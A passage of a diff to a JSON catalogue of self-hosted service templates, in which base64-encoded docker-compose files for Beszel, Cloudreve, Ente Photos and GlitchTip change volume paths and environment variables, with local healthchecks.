+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -684,7 +684,7 @@
"cloudreve": {
"documentation": "https://docs.cloudreve.org/?utm_source=coolify.io",
"slogan": "A self-hosted file management and sharing system.",
- "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ny1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==",
+ "compose": "c2VydmljZXM6CiAgY2xvdWRyZXZlOgogICAgaW1hZ2U6ICdjbG91ZHJldmUvY2xvdWRyZXZlOjQuMTAuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DTE9VRFJFVkVfNTIxMgogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuVHlwZT1wb3N0Z3JlcwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuSG9zdD1wb3N0Z3JlcwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlVzZXI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdDUl9DT05GX0RhdGFiYXNlLlBhc3N3b3JkPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0NSX0NPTkZfRGF0YWJhc2UuTmFtZT0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgICAtIENSX0NPTkZfRGF0YWJhc2UuUG9ydD01NDMyCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuU2VydmVyPXJlZGlzOjYzNzknCiAgICAgIC0gJ0NSX0NPTkZfUmVkaXMuUGFzc3dvcmQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Nsb3VkcmV2ZS1kYXRhOi9jbG91ZHJldmUvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBuYwogICAgICAgIC0gJy16JwogICAgICAgIC0gbG9jYWxob3N0CiAgICAgICAgLSAnNTIxMicKICAgICAgaW50ZXJ2YWw6IDIwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jbG91ZHJldmUtZGJ9JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjctYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQo=",
"tags": [
"file sharing",
"cloud storage",
@@ -1173,7 +1173,7 @@
"ente-photos": {
"documentation": "https://help.ente.io/self-hosting/installation/compose?utm_source=coolify.io",
"slogan": "Ente Photos is a fully open source, End to End Encrypted alternative to Google Photos and Apple Photos.",
- "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX0RCX0hPU1Q9JHtFTlRFX0RCX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnRU5URV9EQl9QT1JUPSR7RU5URV9EQl9QT1JUOi01NDMyfScKICAgICAgLSAnRU5URV9EQl9OQU1FPSR7RU5URV9EQl9OQU1FOi1lbnRlX2RifScKICAgICAgLSAnRU5URV9EQl9VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdFTlRFX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ0VOVEVfS0VZX0VOQ1JZUFRJT049JHtTRVJWSUNFX1JFQUxCQVNFNjRfRU5DUllQVElPTn0nCiAgICAgIC0gJ0VOVEVfS0VZX0hBU0g9JHtTRVJWSUNFX1JFQUxCQVNFNjRfNjRfSEFTSH0nCiAgICAgIC0gJ0VOVEVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF9KV1R9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0FETUlOPSR7RU5URV9JTlRFUk5BTF9BRE1JTjotMTU4MDU1OTk2MjM4NjQzOH0nCiAgICAgIC0gJ0VOVEVfSU5URVJOQUxfRElTQUJMRV9SRUdJU1RSQVRJT049JHtFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0FSRV9MT0NBTF9CVUNLRVRTPSR7UFJJTUFSWV9TVE9SQUdFX0FSRV9MT0NBTF9CVUNLRVRTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX1VTRV9QQVRIX1NUWUxFX1VSTFM9JHtQUklNQVJZX1NUT1JBR0VfVVNFX1BBVEhfU1RZTEVfVVJMUzotdHJ1ZX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0tFWT0ke1MzX1NUT1JBR0VfS0VZOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9TRUNSRVQ9JHtTM19TVE9SQUdFX1NFQ1JFVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fRU5EUE9JTlQ9JHtTM19TVE9SQUdFX0VORFBPSU5UOj99JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9SRUdJT049JHtTM19TVE9SQUdFX1JFR0lPTjotdXMtZWFzdC0xfScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fQlVDS0VUPSR7UzNfU1RPUkFHRV9CVUNLRVQ6P30nCiAgICAgIC0gJ0VOVEVfU01UUF9IT1NUPSR7RU5URV9TTVRQX0hPU1R9JwogICAgICAtICdFTlRFX1NNVFBfUE9SVD0ke0VOVEVfU01UUF9QT1JUfScKICAgICAgLSAnRU5URV9TTVRQX1VTRVJOQU1FPSR7RU5URV9TTVRQX1VTRVJOQU1FfScKICAgICAgLSAnRU5URV9TTVRQX1BBU1NXT1JEPSR7RU5URV9TTVRQX1BBU1NXT1JEfScKICAgICAgLSAnRU5URV9TTVRQX0VNQUlMPSR7RU5URV9TTVRQX0VNQUlMfScKICAgICAgLSAnRU5URV9TTVRQX1NFTkRFUl9OQU1FPSR7RU5URV9TTVRQX1NFTkRFUl9OQU1FfScKICAgICAgLSAnRU5URV9TTVRQX0VOQ1JZUFRJT049JHtFTlRFX1NNVFBfRU5DUllQVElPTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODAvcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdoY3IuaW8vZW50ZS1pby93ZWIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9XRUJfMzAwMAogICAgICAtICdFTlRFX0FQSV9PUklHSU49JHtTRVJWSUNFX0ZRRE5fTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLS1mYWlsJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7U0VSVklDRV9EQl9OQU1FOi1lbnRlX2RifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICR7UE9TVEdSRVNfVVNFUn0gLWQgJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=",
+ "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX1BIT1RPU19PUklHSU49JHtTRVJWSUNFX0ZRRE5fV0VCfScKICAgICAgLSAnRU5URV9EQl9IT1NUPSR7RU5URV9EQl9IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0VOVEVfREJfUE9SVD0ke0VOVEVfREJfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0VOVEVfREJfTkFNRT0ke0VOVEVfREJfTkFNRTotZW50ZV9kYn0nCiAgICAgIC0gJ0VOVEVfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnRU5URV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdFTlRFX0tFWV9FTkNSWVBUSU9OPSR7U0VSVklDRV9SRUFMQkFTRTY0X0VOQ1JZUFRJT059JwogICAgICAtICdFTlRFX0tFWV9IQVNIPSR7U0VSVklDRV9SRUFMQkFTRTY0XzY0X0hBU0h9JwogICAgICAtICdFTlRFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1JFQUxCQVNFNjRfSldUfScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9BRE1JTj0ke0VOVEVfSU5URVJOQUxfQURNSU46LTE1ODA1NTk5NjIzODY0Mzh9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OPSR7RU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9BUkVfTE9DQUxfQlVDS0VUUz0ke1BSSU1BUllfU1RPUkFHRV9BUkVfTE9DQUxfQlVDS0VUUzotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9VU0VfUEFUSF9TVFlMRV9VUkxTPSR7UFJJTUFSWV9TVE9SQUdFX1VTRV9QQVRIX1NUWUxFX1VSTFM6LXRydWV9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9LRVk9JHtTM19TVE9SQUdFX0tFWTo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fU0VDUkVUPSR7UzNfU1RPUkFHRV9TRUNSRVQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0VORFBPSU5UPSR7UzNfU1RPUkFHRV9FTkRQT0lOVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fUkVHSU9OPSR7UzNfU1RPUkFHRV9SRUdJT046LXVzLWVhc3QtMX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0JVQ0tFVD0ke1MzX1NUT1JBR0VfQlVDS0VUOj99JwogICAgICAtICdFTlRFX1NNVFBfSE9TVD0ke0VOVEVfU01UUF9IT1NUfScKICAgICAgLSAnRU5URV9TTVRQX1BPUlQ9JHtFTlRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9VU0VSTkFNRT0ke0VOVEVfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9QQVNTV09SRD0ke0VOVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTUFJTD0ke0VOVEVfU01UUF9FTUFJTH0nCiAgICAgIC0gJ0VOVEVfU01UUF9TRU5ERVJfTkFNRT0ke0VOVEVfU01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTkNSWVBUSU9OPSR7RU5URV9TTVRQX0VOQ1JZUFRJT059JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDgwL3BpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHdlYjoKICAgIGltYWdlOiBnaGNyLmlvL2VudGUtaW8vd2ViCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9GUUROX01VU0VVTX0nCiAgICAgIC0gJ0VOVEVfQUxCVU1TX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9XRUJfMzAwMn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy0tZmFpbCcKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1NFUlZJQ0VfREJfTkFNRTotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1BPU1RHUkVTX1VTRVJ9IC1kICR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK",
"tags": [
"photos",
"gallery",
@@ -1758,19 +1758,17 @@
},
"glitchtip": {
"documentation": "https://glitchtip.com?utm_source=coolify.io",
- "slogan": "GlitchTip is a self-hosted, open-source error tracking system.",
- "compose": "c2VydmljZXM6CiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotZ2xpdGNodGlwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dsaXRjaHRpcC1wb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiByZWRpcwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR0xJVENIVElQXzgwODAKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUxAcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTUUxfREFUQUJBU0U6LWdsaXRjaHRpcH0nCiAgICAgIC0gU0VDUkVUX0tFWT0kU0VSVklDRV9CQVNFNjRfNjRfRU5DUllQVElPTgogICAgICAtICdFTUFJTF9VUkw9JHtFTUFJTF9VUkw6LWNvbnNvbGVtYWlsOi8vfScKICAgICAgLSAnR0xJVENIVElQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HTElUQ0hUSVB9JwogICAgICAtICdERUZBVUxUX0ZST01fRU1BSUw9JHtERUZBVUxUX0ZST01fRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdDRUxFUllfV09SS0VSX0FVVE9TQ0FMRT0ke0NFTEVSWV9XT1JLRVJfQVVUT1NDQUxFOi0xLDN9JwogICAgICAtICdDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ9JHtDRUxFUllfV09SS0VSX01BWF9UQVNLU19QRVJfQ0hJTEQ6LTEwMDAwfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2NvZGUvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSBvawogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgd29ya2VyOgogICAgaW1hZ2U6IGdsaXRjaHRpcC9nbGl0Y2h0aXAKICAgIGNvbW1hbmQ6IC4vYmluL3J1bi1jZWxlcnktd2l0aC1iZWF